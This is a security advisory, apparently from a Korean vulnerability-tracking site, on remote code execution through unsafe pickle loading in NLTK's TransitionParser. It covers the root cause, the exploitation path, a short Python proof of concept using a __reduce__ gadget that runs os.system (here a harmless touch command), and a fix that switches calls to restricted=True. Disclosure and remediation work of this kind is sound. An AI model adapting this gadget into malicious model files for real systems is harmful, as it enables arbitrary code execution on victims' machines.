NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.
Root Cause
File: nltk/parse/transitionparser.py (lines 542-557)
The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).
Vulnerability chain in nltk/picklesec.py:
1def pickle_load(file, *, context=None, restricted=False): 2 if restricted: 3 return RestrictedUnpickler(file).load() # Safe: blocks all globals 4 return WarningUnpickler(file, context=context).load() # VULNERABLE PATHWarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().
Why this is not by design:
- NLTK intentionally created
RestrictedUnpicklerto block unsafe deserialization - The
restricted=Trueparameter exists in the API but is never used by any production code path - All call sites use the default
restricted=False:transitionparser.py:557,parse/chartparser_app.py:816,parse/chartparser_app.py:2273,parse/chartparser_app.py:2311
Attack Surface
Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.
Exploitation path:
- Attacker places a malicious pickle file at a known or attacker-controlled location
- Victim calls
parser.parse(sentences, "/path/to/malicious_model.pkl") pickle_load()deserializes the file withrestricted=False(default)- Standard pickle gadget chain executes arbitrary Python code with victim's privileges
Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.
Steps to Reproduce
Environment
- NLTK version: 3.8.1+ (all versions with
transitionparser.py) - Python 3.6+
- No special dependencies required
Reproduction
-
Create a malicious pickle file that uses
__reduce__to execute a system command during deserialization. -
Call
TransitionParser().parse([], '/path/to/malicious_model.pkl'). -
The
pickle_load(f)call attransitionparser.py:557usesrestricted=Falseby default, routing throughWarningUnpickler, which does not overridefind_class()and permits full class resolution — executing the embedded gadget. -
Arbitrary code executes with the victim's privileges.
Proof That the Fix Works
Changing line 557 in transitionparser.py from:
1model = pickle_load(f)to:
1model = pickle_load(f, restricted=True)causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.
Working PoC
1import pickle 2import os 3from nltk.parse.transitionparser import TransitionParser 4 5# Create malicious pickle with RCE payload 6class Exploit: 7 def __reduce__(self): 8 return (os.system, ('touch /tmp/nltk_poc_triggered',)) 9 10with open('/tmp/malicious_model.pkl', 'wb') as f:11 pickle.dump(Exploit(), f)12 13# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)14parser = TransitionParser('arc-standard') # or 'arc-eager'15parser.parse([], '/tmp/malicious_model.pkl') # loads and unpickles unsafely16 17# Exploit succeeds: file /tmp/nltk_poc_triggered is createdOn NLTK ≥ 3.10.0 (patched), the same code fails with:
1_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlistThis proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.
Recommended Fix
Change all call sites to use restricted=True:
| File | Line | Before | After |
|---|---|---|---|
nltk/parse/transitionparser.py | 557 | pickle_load(f) | pickle_load(f, restricted=True) |
nltk/parse/chartparser_app.py | 816 | pickle_load(model_data_file) | pickle_load(model_data_file, restricted=True) |
nltk/parse/chartparser_app.py | 2273 | pickle_load(file) | pickle_load(file, restricted=True) |
nltk/parse/chartparser_app.py | 2311 | pickle_load(fp) | pickle_load(fp, restricted=True) |
Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 8
링크 내용 불러오는 중…